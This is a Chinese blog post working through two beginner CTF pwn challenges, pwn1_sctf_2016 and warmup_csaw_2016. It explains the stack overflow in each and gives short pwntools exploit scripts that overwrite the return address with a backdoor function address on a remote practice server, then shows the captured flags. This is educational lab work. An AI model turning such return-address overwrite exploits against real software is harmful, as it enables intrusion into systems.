放假在家准备接触一下从未挑战过的 pwn

pwn1_sctf_2016

Download 文件后 checksec

地址在哪已经显而易见了,接着我们 IDA 静态分析一下;

找到漏洞函数

s 的长度为 60, 而我们只能够输入 32 个字符,不足以栈溢出;
但是 replace 函数会把我们输入的 I 替换成 you,I 是一个字符,you 是三个字符,这样输入 20 个 I 既不会超过 32 字符限制,最终替换成 60 个字符也能够填满 s.

找到后门函数:08048F0D

exp:

from pwn import *
p = remote("node3.buuoj.cn",27833)
payload = b'I'*20+b'a'*4+p64(0x08048F0D)
p.sendline(payload)
p.interactive()

执行结果:

拿到 flag:
!flag{5e9a24f6-ddb2-4237-b3e0-6d968c34cec8}!

warmup_csaw_2016

拖入 IDA F5

发现要求输入 v5 自变量;

v5 的可用栈大小为 0x40
可以看出,这个 gets 绝对有问题;

程序存在后门:

sub_40060D 的地址为 0x40060D

下面我们可以写个脚本跑出 flag;
在此之前我们知道 v5 的栈大小为 0x40, 但还需要加上返回值的 8 个字符;
最终为 0x48.

构造 exp

from pwn import *
p = remote("node3.buuoj.cn",28395)
payload = b'a'*0x48+p64(0x40060D)
p.sendline(payload)
p.interactive()

得到 flag:

flag{a15dd406-0d79-4f49-b5a0-3dde546a4d3d}

更新于

请我喝[茶]~( ̄▽ ̄)~*

1sme 微信支付

微信支付